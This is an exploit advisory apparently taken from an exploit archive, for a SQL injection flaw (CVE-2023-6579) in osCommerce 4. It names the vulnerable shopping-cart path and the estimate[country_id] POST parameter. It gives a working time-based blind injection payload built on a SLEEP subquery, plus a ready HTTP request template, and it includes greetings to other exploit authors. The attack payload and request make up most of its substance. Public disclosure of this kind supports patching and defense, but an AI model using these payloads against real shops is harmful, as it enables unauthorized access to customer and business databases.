osCommerce 4 SQL Injection Vulnerability

# Exploit Title: osCommerce 4 - SQL Injection
# Exploit Author: CraCkEr
# Date: 22/11/2023
# Vendor: osCommerce ltd.
# Vendor Homepage: https://www.oscommerce.com/
# Software Link: https://demo.oscommerce.com/
# Demo Link: https://demo.oscommerce.com/b2b-supermarket/
# Tested on: Windows 11 Home
# Impact: Database Access
# CWE: CWE-89 - CWE-74 - CWE-707
# CVE: CVE-2023-6579
# VDB: VDB-247160

## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.


Path: /b2b-supermarket/shopping-cart

POST Parameter 'estimate[country_id]' is vulnerable to SQLi


---
Parameter: estimate[country_id] (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: estimate[country_id]=223'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z&estimate[post_code]=900001&estimate[shipping]=flat_flat&ajax_estimate=ajax_estimate&_csrf=7u6VPwL2TxKyd-mt8RufHw3nHwO95CIbzlY1L1y2BueKuf0MNs42S8pCnNybbOxmWaFUYcuwbiq8YAJVDNBHsw==
---

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POST /b2b-supermarket/shopping-cart HTTP/2

estimate%5Bcountry_id%5D=[SQLi]&estimate%5Bpost_code%5D=900001&estimate%5Bshipping%5D=flat_flat&ajax_estimate=ajax_estimate&_csrf=7u6VPwL2TxKyd-mt8RufHw3nHwO95CIbzlY1L1y2BueKuf0MNs42S8pCnNybbOxmWaFUYcuwbiq8YAJVDNBHsw%3D%3D
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